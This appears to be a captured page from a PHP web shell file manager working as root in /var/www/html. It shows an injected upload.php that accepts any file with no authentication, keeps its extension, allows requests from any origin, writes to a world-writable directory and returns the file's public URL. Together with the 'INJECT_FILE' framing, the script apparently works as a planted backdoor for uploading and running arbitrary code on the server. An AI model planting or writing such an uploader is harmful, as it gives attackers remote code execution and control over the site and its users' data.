File Manager V1.5

[SYSTEM@ROOT]: /var/www/html/
INJECT_FILE:
NEW_ENTRY:

FILE_CONTENT: upload.php

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$logFile = __DIR__ . '/error.log';
ini_set('log_errors', 1);
ini_set('error_log', $logFile);


header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS");
header("Access-Control-Allow-Headers: Authorization, Content-Type, Accept, X-Requested-With, User-Agent, Origin");
header("Access-Control-Max-Age: 86400");
header("Content-Type: application/json; charset=UTF-8");

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    error_log("Received OPTIONS request for upload.php");
    http_response_code(204);
    exit;
}

if (isset($_FILES['file'])) {
    $uploadDir = __DIR__ . '/uploads/main/'; 

    if (!file_exists($uploadDir)) {
        if (!mkdir($uploadDir, 0777, true)) { 
            http_response_code(500);
            error_log("Failed to create upload directory: $uploadDir");
            echo json_encode(['error' => 'Failed to create upload directory']);
            exit;
        }
    }

    $originalFileName = $_FILES['file']['name'];
    $fileExtension = pathinfo($originalFileName, PATHINFO_EXTENSION);
    $fileName = uniqid() . '_' . time() . '.' . $fileExtension; 
    $uploadPath = $uploadDir . $fileName;

    error_log("Attempting to upload file: " . $originalFileName . " to " . $uploadPath);

    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
        $url = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'] . '/uploads/main/' . $fileName;
        error_log("File uploaded successfully. URL: " . $url);
        echo json_encode(['url' => $url]);
    } else {
        http_response_code(500);
        $phpFileUploadErrors = array(
            0 => 'There is no error, the file uploaded with success',
            1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
            2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
            3 => 'The uploaded file was only partially uploaded',
            4 => 'No file was uploaded',
            6 => 'Missing a temporary folder',
            7 => 'Failed to write file to disk.',
            8 => 'A PHP extension stopped the file upload.',
        );
        $errorCode = $_FILES['file']['error'];
        $errorMessage = $phpFileUploadErrors[$errorCode] ?? 'Unknown upload error';
        error_log("Failed to upload file. Error code: $errorCode. Message: $errorMessage");
        echo json_encode(['error' => "Failed to upload file: $errorMessage"]);
    }
} else {
    http_response_code(400);
    error_log("No file uploaded or 'file' key not found in \$_FILES array.");
    echo json_encode(['error' => 'No file uploaded']);
}
?>
[ KEMBALI ]